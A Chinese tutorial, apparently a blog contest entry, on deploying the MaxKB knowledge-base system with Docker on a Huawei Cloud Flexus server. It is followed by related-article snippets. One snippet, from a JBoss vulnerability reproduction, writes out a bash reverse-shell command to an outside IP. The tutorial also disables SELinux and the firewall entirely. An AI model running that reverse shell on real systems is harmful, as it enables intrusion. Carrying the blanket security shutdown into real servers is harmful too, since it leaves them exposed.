做木业网站怎样起名/微信怎么引流营销呢
828华为云征文|华为云Flexus云服务器X实例之openEuler系统下搭建MaxKB开源知识库问答系统
- 前言
- 一、Flexus云服务器X实例介绍
- 1.1 Flexus云服务器X实例简介
- 1.2 Flexus云服务器X实例特点
- 1.3 Flexus云服务器X实例使用场景
- 二、MaxKB 介绍
- 2.1 MaxKB简介
- 2.2 MaxKB整体架构
- 2.3 MaxKB主要特点
- 2.4 主要使用场景
- 三、本次实践介绍
- 3.1 本次实践简介
- 3.2 部署要求
- 3.3 本次环境规划
- 四、购买华为云Flexus云服务器X实例
- 4.1 登录华为云
- 4.2 进入Flexus云服务器X实例购买页面
- 4.3 购买Flexus云服务器X实例配置
- 4.4 使用Xshell远程连接
- 五、检查Docker环境
- 5.1 检查操作系统版本
- 5.2 检查内核版本
- 5.3 检查Docker版本
- 5.4 检查Docker服务状态
- 5.5 检查Docker compose版本
- 六、部署MaxKB系统
- 6.1 拉取MaxKB镜像
- 6.2 创建部署目录
- 6.3 创建MaxKB容器
- 6.4 检查MaxKB容器状态
- 6.5 检查MaxKB容器日志
- 七、访问前准备工作
- 7.1 关闭selinux和防火墙
- 7.2 Flexus云服务器X实例安全组配置
- 八、访问MaxKB服务
- 8.1 访问MaxKB初始页
- 8.2 登录MaxKB
- 九、MaxKB配置工作
- 9.1 进入模型设置页面
- 9.2 查询供应商API Key信息
- 9.3 选择模型
- 9.4 创建知识库
- 9.5 上传文档
- 9.6 创建应用
- 十、使用体验与总结
前言
在数字化转型的大潮中,华为云以其卓越的技术实力和稳定的服务表现,成为了众多企业和开发者信赖的云服务提供商。
华为云Flexus云服务器X实例
,凭借其柔性算力和高性价比,特别适合中小企业及个人开发者快速构建高效、灵活的应用环境。本文将详细介绍如何利用华为云Flexus云服务器X实例搭建基于openEuler系统的MaxKB开源知识库问答系统,为企业内部的知识管理和信息检索注入新的活力。
一、Flexus云服务器X实例介绍
1.1 Flexus云服务器X实例简介
- 官网地址: 华为云Flexus云服务器X实例
华为云
Flexus云服务器X实例
是新一代面向中小企业和开发者的柔性算力云服务器。它能够智能感知业务负载的变化,自动调整资源配置。这款服务器特别适用于中低负载的应用场景,例如电商直播、企业网站建设、开发测试环境、游戏服务器以及音视频服务等。X实例的设计理念旨在为用户提供更加灵活和高效的计算资源管理方式。通过智能调整,它可以更好地满足不同业务的需求,提高资源利用率。
1.2 Flexus云服务器X实例特点
-
提供丰富的公共镜像
:Flexus云服务器X实例提供多种公共镜像供用户选择,方便快速部署各种应用和服务。 -
可灵活自定义vCPU内存配比
:用户可以根据自己的需要灵活调整虚拟CPU和内存的配比,以满足不同场景的需求。 -
智能感知业务动态升降配
:Flexus云服务器X实例能够智能感知业务的负载情况,并根据需要自动升降配,以满足业务的需求,提高系统的稳定性和性能。 -
负载范围更高
:相对于Flexus应用服务器L实例,Flexus云服务器X实例能够处理更高的负载,适用于更复杂和繁忙的场景。
1.3 Flexus云服务器X实例使用场景
Flexus云服务器X实例针对不同的使用场景展现出其独特的优势:
-
电商直播:利用X实例搭建电商交易平台,可以有效应对电商市场的瞬息万变,从容处理业务压力波动,确保交易过程顺畅无阻。
-
企业建站:面向博客、论坛和企业门户等应用场景,X实例帮助企业高效传播价值信息,促进信息共享与交流,支持构建多功能传播和交互平台。
-
个人开发测试:开发者在开发和测试过程中所需的环境资源可以通过X实例便捷获取,不仅提高了搭建效率,而且降低了成本。
-
游戏服务器:适用于搭建游戏后台服务器,强大的计算能力可以轻松应对大量玩家同时在线的情况,同时支持平滑扩容,快速应对玩家数量增长的需求,以及提供出色的网络加速能力以提升用户体验。
二、MaxKB 介绍
2.1 MaxKB简介
MaxKB 是一个基于大语言模型(LLM)构建的开源知识库问答系统,专为提升企业内部的知识管理和信息检索效率而设计。通过集成先进的人工智能技术,MaxKB 能够理解自然语言查询,并从庞大的知识库中快速准确地提取相关信息,从而帮助企业员工更高效地获取所需的知识和答案。
2.2 MaxKB整体架构
- MaxKB整体架构如下所示:
2.3 MaxKB主要特点
智能化搜索
:利用深度学习算法解析用户提问的真实意图,实现语义层面的匹配,而非简单的关键词匹配。多源数据接入
:支持多种格式的数据导入,包括文档、网页、数据库等,确保企业内外部的各种知识资源能够被充分利用。自定义知识库
:允许根据企业的具体需求定制化创建或扩展知识库内容,灵活适应不同行业背景下的特殊要求。持续学习与优化
:随着使用频率增加,系统能够不断积累经验并自我改进,提高回答问题的准确性与时效性。易于集成
:提供API接口及插件机制,方便与其他IT系统如CRM、ERP等进行无缝对接,形成统一的信息服务平台。安全性保障
:重视用户隐私保护,采用加密传输协议,并且可以设置访问权限控制,确保敏感资料的安全。
2.4 主要使用场景
- 客户服务:作为在线客服助手,自动响应客户咨询,减少人工客服的工作负担,同时保证24/7的服务可用性。
- 内部培训:为企业新员工提供自助式学习平台,涵盖公司政策、工作流程等多个方面,加速其融入过程。
- 技术支持:针对IT部门遇到的技术难题给出专业解答,辅助故障排查和技术文档查阅。
- 产品推广:向潜在客户提供详细的产品介绍和服务说明,增强销售转化率。
- 决策支持:通过对历史数据分析总结出有价值的趋势洞察,帮助管理层做出更加明智的战略规划。
三、本次实践介绍
3.1 本次实践简介
1.本次实践为个人测试学习环境,旨在快速部署应用,生产环境请谨慎;
2.本次实践环境为华为云Flexus云服务器X实例,使用的操作系统为| openEuler;
3.本次实践在Docker环境下搭建MaxKB开源知识库问答系统。
3.2 部署要求
部署服务器要求:
- 操作系统:Ubuntu 22.04 / CentOS 7.6 64 位系统
- CPU/内存:2C/4GB 以上
- 磁盘空间:100GB
3.3 本次环境规划
服务器类别 | 公共镜像选择 | 内网IP地址 | Docker版本 | 操作系统版本 |
---|---|---|---|---|
华为云Flexus云服务器X实例 | openEuler | 192.168.0.169 | 26.1.3 | openEuler 22.03 LTS |
四、购买华为云Flexus云服务器X实例
4.1 登录华为云
进入华为云官网:https://activity.huaweicloud.com/,登录自己的华为云账号,进入华为云首页。
4.2 进入Flexus云服务器X实例购买页面
我们在华为云官网首页,精选推荐模块中,可以看到Flexus云服务器X实例,点击进入Flexus云服务器X实例主页。
点击页面中的“购买”选项,进入Flexus云服务器X实例购买页面。
4.3 购买Flexus云服务器X实例配置
- 镜像选择:本次实践使用openEuler作为公共镜像,请根据实际需求自定义选择合适的操作系统镜像。
- 镜像切换说明:参考的公共镜像原为Huawei Cloud EulerOS,但本次实践中已切换至openEuler。
- 基础配置参考:购买时可参考以下基础配置进行选择。
项目 | 配置说明 |
---|---|
计费模式 | 包年/包月 |
区域 | 华北—北京四,可用区:随机即可 |
实例规格 | 关闭性能模式,选择自定义,4vCPUs | 12GiB |
镜像 | 公共镜像,openEuler,版本:openEuler 2.0 Standard 64 bit (10GiB) |
应用加速 | 不加速 |
存储 | 系统盘,通用型SSD 100G |
网络 | 选择默认即可 |
安全组 | 选择默认即可 |
弹性公网IP | 选择“现在购买”,全动态BGP,带宽3Mbit/s |
云服务器名称 | 可自定义设置,这里选择默认的名称 |
登录凭证 | 自定义设置密码 |
云备份 | 暂不购买 |
- 确认配置及购买:在确认配置页面仔细检查Flexus云服务器X实例的各项设置,确保无误后点击“立即购买”,完成付款流程即可成功购买。
4.4 使用Xshell远程连接
进入华为云Flexus云服务的控制台,选择Flexus云服务器X实例,可以看到已经正在运行的Flexus云服务器X实例。
- 复制Flexus云服务器X实例的弹性公网IP地址
- 主要填写Flexus云服务器X实例的弹性公网IP地址,输入其登录用户和密码,连接即可。
五、检查Docker环境
5.1 检查操作系统版本
检查Flexus云服务器X实例的操作系统版本,本次实践选择的版本为
openEuler 22.03 LTS
[root@flexusx-51a1 ~]# cat /etc/os-release
NAME="openEuler"
VERSION="22.03 LTS"
ID="openEuler"
VERSION_ID="22.03"
PRETTY_NAME="openEuler 22.03 LTS"
ANSI_COLOR="0;31"
5.2 检查内核版本
检查当前操作系统的内核版本,当前内核版本为
5.10.0-60.139.0.166.oe2203.x86_64
。
[root@flexusx-51a1 ~]# uname -r
5.10.0-60.139.0.166.oe2203.x86_64
5.3 检查Docker版本
部署该项目需要提前安装Docker环境,检查Docker版本,当前安装的Docker版本为
26.1.3
。
[root@flexusx-51a1 ~]# docker -v
Docker version 26.1.3, build b72abbb
5.4 检查Docker服务状态
检查Docker服务状态,确保Docker服务正常。
[root@flexusx-51a1 ~]# systemctl status docker
● docker.service - Docker Application Container EngineLoaded: loaded (/usr/lib/systemd/system/docker.service; enabled; vendor preset: disabled)Active: active (running) since Mon 2024-09-23 20:27:32 CST; 12min ago
TriggeredBy: ● docker.socketDocs: https://docs.docker.comMain PID: 18484 (dockerd)Tasks: 10Memory: 240.2MCGroup: /system.slice/docker.service└─ 18484 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
5.5 检查Docker compose版本
检查docker compose版本,当前默认安装版本为
v2.27.0
。
[root@flexusx-51a1 ~]# docker compose version
Docker Compose version v2.27.0
六、部署MaxKB系统
6.1 拉取MaxKB镜像
执行以下命令,拉取MaxKB镜像,镜像名称:
cr2.fit2cloud.com/1panel/maxkb:latest
。
[root@flexusx-51a1 ~]# docker pull cr2.fit2cloud.com/1panel/maxkb
Using default tag: latest
latest: Pulling from 1panel/maxkb
Digest: sha256:d1211d7915d949a7a1a412ea4ec5f34942b8278f83a7333c9fa8d8027630a23e
Status: Image is up to date for cr2.fit2cloud.com/1panel/maxkb:latest
cr2.fit2cloud.com/1panel/maxkb:latest
6.2 创建部署目录
在命令行终端上,我们需要创建部署目录
/data/maxkb
。
mkdir -p /data/maxkb && cd /data/maxkb
6.3 创建MaxKB容器
- 可参考以下docker-cli命令,快速创建MaxKB容器。
docker run -d --name=maxkb -p 8080:8080 -v ~/.maxkb:/var/lib/postgresql/data -v ~/.python-packages:/opt/maxkb/app/sandbox/python-packages cr2.fit2cloud.com/1panel/maxkb
本次实践使用docker compose方式部署MaxKB应用,编辑
docker-compose.yaml
文件,可自行修改映射端口部分。
vim docker-compose.yaml
version: '3.9'
services:1panel:image: cr2.fit2cloud.com/1panel/maxkbvolumes:- '~/.python-packages:/opt/maxkb/app/sandbox/python-packages'- '~/.maxkb:/var/lib/postgresql/data'ports:- '8080:8080'container_name: maxkb
执行以下命令,使用docker-compose.yaml文件创建MaxKB服务。
docker compose up -d
6.4 检查MaxKB容器状态
检查MaxKB容器状态,确保MaxKB容器正常启动。
[root@flexusx-51a1 maxkb]# docker compose ps
WARN[0000] /data/maxkb/docker-compose.yaml: `version` is obsolete
NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS
maxkb cr2.fit2cloud.com/1panel/maxkb "bash -c /usr/bin/ru…" 1panel 33 seconds ago Up 33 seconds 5432/tcp, 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp
6.5 检查MaxKB容器日志
检查MaxKB容器运行日志,确保MaxKB服务正常运行。
docker compose logs
七、访问前准备工作
7.1 关闭selinux和防火墙
- 关闭selinux
setenforce 0
sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config
- 停止防火墙
systemctl stop firewalld
systemctl disable firewalld
7.2 Flexus云服务器X实例安全组配置
进入Flexus云服务器X实例控制台,进行安全组规则配置。
入方向上放行8080端口,确认配置即可。
八、访问MaxKB服务
8.1 访问MaxKB初始页
浏览器访问地址:http://服务器IP地址:8080,将IP替换为自己云服务器弹性公网IP地址。浏览器打开后,进入MaxKB登录页。
8.2 登录MaxKB
- 默认登录信息
用户名
:admin默认密码
:MaxKB@123…
- 第一次登录,会自动提示修改登录密码,自定义修改即可。
九、MaxKB配置工作
9.1 进入模型设置页面
登录 MaxKB 系统后,可以在【系统管理-模型设置】中添加模型,也可以在创建应用时再添加模型。
9.2 查询供应商API Key信息
我们此次选择的供应商为义千问大模型,登录其官网。在DashScope灵积模型服务控制台->API Key管理中获取。
9.3 选择模型
在模型设置的供应商列表中,我们选择通义千问,点击“添加模型”。
- 模型名称:MaxKB 中自定义的模型名称。
- 模型类型:大语言模型。
- 基础模型:供应商的 LLM 模型,支持自定义输入,下拉选项是常用的一些大语言模型。
- API Key:需要在阿里云->DashScope灵积模型服务->API Key管理中获取。
9.4 创建知识库
打开【知识库】页面,点击【创建知识库】,进入创建知识库页面。
输入知识库名称、知识库描述、选择通用型知识库类型。 根据如下图所示,自定义填写即可。
9.5 上传文档
上传本地文件,上传完毕后,确认“下一步”。
- 上传文档要求:
- 支持文本文件格式为:Markdown、TXT、PDF、DOCX、HTML;
- 支持 QA 问答对格式为:Excel、CSV;
- 每次最多上传 50 个文件;
- 每个文件不超过 100 MB;
- 支持选择文件夹,上传文件夹下符合要求的文件。
- 文档规范建议:
- 规范分段标识:离线文档的分段标识要有一定规范,否则拆分出来的段落会不规整。
- 段落要完整:一个分段中最好能描述一个完整的功能点或问题。
点击“开始导入”,其余配置默认即可。
查看文件状态,当如下图所示,文件状态显示为“成功”时候,则文档导入成功。
9.6 创建应用
点击【创建应用】,输入应用名称,选择【简易配置应用】,点击【创建】。
- 应用创建完成,进入简易配置应用的设置页面,左侧为应用信息,右侧为调试预览界面。
设置项 | 说明 |
---|---|
应用名称 | 用户提问时对话框的标题和名字。 |
应用描述 | 对应用场景及用途的描述,帮助用户理解该应用的功能与价值。 |
AI模型 | 在【系统设置】-【模型管理】中添加的大语言模型作为支持此应用的智能引擎。 |
提示词 | 系统默认提供智能知识库的提示词,用户可以自定义这些提示词来引导大模型聊天的方向。 |
多轮对话 | - 开启:当用户提问时,将携带用户在当前会话中的最后3个问题。 - 关闭:仅向大模型提交当前问题。 |
关联知识库 | 用户提问后会在关联的知识库中进行分段检索,找到最相关的答案。 |
开场白 | 用户打开对话时,系统弹出的问候语。支持Markdown格式;[-]后的内容为快捷问题,一行一个。 |
问题优化 | - 开启:对用户提出的问题先进行一次LLM优化处理,提高检索知识库的准确度。 - 关闭:直接检索。 |
- 调试预览
- 完成上述设置后,可以在右侧调试预览中进行提问预览。
- 调试预览中的提问内容不会计入正式的对话日志,方便测试和调整应用配置。
十、使用体验与总结
通过在
华为云Flexus云服务器X实例
上搭建基于openEuler系统的MaxKB开源知识库问答系统,我们深刻体验到了华为云的强大性能和稳定性。整个部署过程流畅无阻,Flexus云服务器X实例的柔性算力确保了系统能够高效处理复杂的自然语言查询任务。实践证明,华为云不仅提供了卓越的技术支持,还极大地简化了运维工作,使得中小企业和开发者能够轻松构建和管理高性能的应用。此外,华为云的高可用性和安全性进一步增强了我们对系统的信心,为企业的知识管理和信息检索带来了显著的效率提升。总体而言,华为云Flexus云服务器X实例展现了其在现代云计算环境中的出色表现,是企业数字化转型的理想选择。
在华为云828 B2B企业节期间,Flexus X实例推出了重磅优惠活动。华为云凭借其顶级的云服务和卓越的性能稳定性,成为推动企业业务增长的理想选择。我们诚挚邀请各行各业的企业加入华为云大家庭,共同见证技术革新带来的无限可能。让我们携手并进,共同开创云端的辉煌未来,共享科技进步所带来的丰硕成果。
相关文章:

828华为云征文|华为云Flexus云服务器X实例之openEuler系统下搭建MaxKB开源知识库问答系统
828华为云征文|华为云Flexus云服务器X实例之openEuler系统下搭建MaxKB开源知识库问答系统 前言一、Flexus云服务器X实例介绍1.1 Flexus云服务器X实例简介1.2 Flexus云服务器X实例特点1.3 Flexus云服务器X实例使用场景 二、MaxKB 介绍2.1 MaxKB简介2.2 MaxKB整体架构…...

[Linux]:信号(上)
✨✨ 欢迎大家来到贝蒂大讲堂✨✨ 🎈🎈养成好习惯,先赞后看哦~🎈🎈 所属专栏:Linux学习 贝蒂的主页:Betty’s blog 1. 信号的引入 1.1 信号的概念 在Linux系统中,信号(…...

浙大数据结构:05-树9 Huffman Codes
这道题难度挺大,写起来较为费劲,这里我依然使用了STL库,使得代码量大幅减少不过百行,便于大家理解。 机翻: 1、条件准备 数组存储字符对应频率,n,student存储输入多少字符,有多少学生测试。 …...

scrapy爬虫基础
一、初识 创建项目: scrapy startproject my_one_project # 创建项目命令 cd my_one_project # 先进去, 后面在里面运行 运行爬虫命令为:scrapy crawl tk spiders下创建test.py 其中name就是scrapy crawl tk &…...

利用H5无插件播放RTSP流的实现方案
文章目录 0. 引言1. 问题分析1.1 RTSP流与浏览器的兼容性1.2 解决思路 2. 方案设计2.1 总体架构2.2 关键组件 3. 实施步骤3.1 环境准备3.2 安装与配置3.2.1 安装FFmpeg3.2.2 安装OpenResty3.2.3 添加nginx-rtmp-module模块3.2.4 配置OpenResty 3.3 推流操作3.4 前端播放3.4.1 引…...

CSS文本格式化
通过 CSS 中的文本属性您可以像操作 Word 文档那样定义网页中文本的字符间距、对齐方式、缩进等等,CSS 中常用的文本属性如下所示: text-align:设置文本的水平对齐方式;text-decoration:设置文本的装饰;te…...

python的 __name__和__doc__属性
__name__属性 __name__属性 用于判断当前模块是不是程序入口,如果当前程序正在使用,__name__的值为__main__。 在编写程序时,通常需要给每个模块添加条件语句,用于单独测试该模块的功能。 每个模块都有一个名称,当一…...

Go语言中的Mutex实现探讨
解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 在并发编程中,互斥锁(Mutex)是一个重要的工具,它帮助我们控制多个协程对共享资源的访问,从而防止数据竞争和不一致性。本文将深入探讨Go语言中Mutex的实现历程和使用方式,同时分享在处理并发问题时的思路与…...

第五届计算机科学与管理科技国际学术会议(ICCSMT 2024)
梁哲,同济大学长聘特聘教授,国家杰青、首届国家杰青延续项目获得者、上海市曙光学者、上海市优秀学术带头人。本科毕业于新加坡国立大计算机工程系、硕士毕业于新加坡国立大学工业与系统工程系、博士毕业于美国新泽西州立大学工业工程系。理论研究主要集…...

【machine learning-13-线性回归的向量化】
向量化 向量化简洁并行计算 向量化 线性回归的向量化表示如下,其中w 和 x 都分别加了箭头表示这是个向量,后续不加也可以表示为向量,w和x点乘加上b,就构成了多元线性回归的表达方式,如下: 那么究竟为什么…...

【CSS|第2期】探索HTML与CSS中的文档流:从自然流到高级布局技巧
日期:2024年9月9日 作者:Commas 签名:(ง •_•)ง 积跬步以致千里,积小流以成江海…… 注释:如果您觉在这里插入代码片得有所帮助,帮忙点个赞,也可以关注我,我们一起成长;如果有不对…...

MATLAB绘图基础9:多变量图形绘制
参考书:《 M A T L A B {\rm MATLAB} MATLAB与学术图表绘制》(关东升)。 9.多变量图形绘制 9.1 气泡图 气泡图用于展示三个或更多变量变量之间的关系,气泡图的组成要素: 横轴( X {\rm X} X轴):表示数据集中的一个变量,…...

JBOSS中间件漏洞复现
CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…...

每日论文6—16ISCAS一种新型低电流失配和变化电流转向电荷泵
《A Novel Current Steering Charge Pump with Low Current Mismatch and Variation》16ISCAS 本文首先介绍了传统的current steering charge pump,如下图: 比起最简单的电荷泵,主要好处是UP和DN开关离输出节点较远,因此一定程度…...

低代码开发平台:未来五大发展趋势预测
在数字化转型的浪潮中,低代码开发平台正迅速崛起,成为企业软件开发的重要工具。随着技术的不断进步和市场需求的持续增长,低代码开发平台在未来将展现出更为广阔的发展前景。本文将预测并探讨低代码开发平台的五大发展趋势。 深度融合数字化与…...

国内AI大模型,这篇文章说透了
探索国内顶尖AI企业及其创新产品。 人工智能(AI)的发展正以前所未有的速度推进。 从简单的自动化任务到复杂的决策制定、自然语言处理、图像识别及自主系统的实现,不断拓宽着人类智慧的边界。 国内AI发展迅猛,不仅在理论研究上…...

3.4 爬虫实战-爬去智联招聘职位信息
课程目标 爬去智联招聘 课程内容 import requests from bs4 import BeautifulSoup from tqdm import tqdm import pandas as pd import time def tran_salary(ori_salary):if "万" in ori_salary:ori_salary ori_salary.replace("万","")ori…...

Java 之注解详解
Java 注解(Annotation)自 Java 5 版本引入,为代码提供了强大的元数据支持。它们如同代码中的标记,能够被编译器、工具和运行时环境识别,赋予代码更丰富的语义和更强大的功能。 一、注解入门 1.1 初识注解:…...

计算机视觉实战项目4(图像分类+目标检测+目标跟踪+姿态识别+车道线识别+车牌识别+无人机检测+A*路径规划+单目测距与测速+行人车辆计数等)
往期热门项目回顾: 计算机视觉项目大集合 改进的yolo目标检测-测距测速 路径规划算法 图像去雨去雾目标检测测距项目 交通标志识别项目 yolo系列-重磅yolov9界面-最新的yolo 姿态识别-3d姿态识别 深度学习小白学习路线 AI健身教练-引体向上-俯卧撑计数…...

【Spring Cloud】Spring Cloud 概述
Spring Cloud 概述 1. 认识微服务1.1 单体架构1.2 集群和分布式架构集群和分布式 1.3 微服务架构分布式架构&微服务架构 1.4 微服务带来的挑战优势挑战 2. 微服务解决⽅案- Spring Cloud2.1 什么是Spring Cloud2.2 Spring Cloud版本Spring Cloud和SpringBoot的关系 2.3 Spr…...

猫头虎带你解决:error Error: certificate has expired
🐯猫头虎带你解决:error Error: certificate has expired 💥 今天有粉丝问猫哥:“🐯猫头虎,我在 Node.js 项目中使用 Yarn 安装包时遇到了一个错误:Error: certificate has expired。你能帮忙解…...

盘点2024年4款高效率的语音转文字工具。
语音转换文字软件真的是一种提高效率的神器,我在工作中常常因为手动记录太慢而选择录音。事后在形成记录,但效率比较低。自从知道有直接转换的工具之后,我有再多的录音都不怕了。如果大家也有跟我一样的工作时,可以试试使用这些语…...

记录Mac编译Android源码踩过的坑
学习Android源码,如果电脑配置还不错,最好还是下载一套源码,经过编译后导入到Android Studio中来学习,这样会更加的直观,代码之间的跳转查看会更加方便。因此,笔者决定下载并编译一套源码,以利于…...

C++ 数据结构算法细节相关
细节 队列 这段代码实现的是二叉树的层序遍历,也就是按照树的层次,一层一层地遍历节点。下面我会为你详细解释这段代码。 queue <TreeNode*> q; 这是一个队列,队列中存放的是指向TreeNode的指针。队列(queue)是…...

【HTML5】html5开篇基础(1)
1.❤️❤️前言~🥳🎉🎉🎉 Hello, Hello~ 亲爱的朋友们👋👋,这里是E绵绵呀✍️✍️。 如果你喜欢这篇文章,请别吝啬你的点赞❤️❤️和收藏📖📖。如果你对我的…...

C#自定义曲线绘图面板
一、实现功能 1、显示面板绘制。 2、拖动面板,X轴、Y轴都可以拖动。 3、显示面板缩放,放大或者缩小。 4、鼠标在面板中对应的XY轴数值。 5、自动生成的数据数组,曲线显示。 6、鼠标是否在曲线上检测。 二、界面 拖动面板 鼠标在曲线上…...

Java后端面试题+下一篇答案+实况场景题
uu们大家好!市面上面试题很多,这边汇总并更新一下java后端面试的题目,助大家早日斩下心仪的offer!!(下次跟新场景题...等我多碰几次壁...哈哈哈哈哈) 这边放题目,下一篇跟新所有另面…...

完美解决vant浮动气泡+弹出菜单
使用框架: vue3,vant4 项目需求: 需要有一个浮动气泡,点击弹出导航菜单 遇到的问题: 1. 使用van-floating-bubble包裹van-popover,但点击后只会重复显示不能隐藏 2. popover位置固定,不能根据…...

SpringSecurity -- 入门使用
文章目录 什么是 SpringSesurity ?细节使用方法 什么是 SpringSesurity ? 在我们的开发中,安全还是有些必要的 用 拦截器 和 过滤器 写代码还是比较麻烦。 SpringSecurity 是 SpringBoot 的底层安全默认选型。一般我们需要认证和授权…...

C语言习题~day33
1.以下程序运行时,若输入1abcedf2df输出结果是() #include <stdio.h> int main() { char a 0, ch; while ((ch getchar()) ! \n) { if (a % 2 ! 0 && (ch > a && ch < z)) ch ch - a A; a; putchar(ch); }…...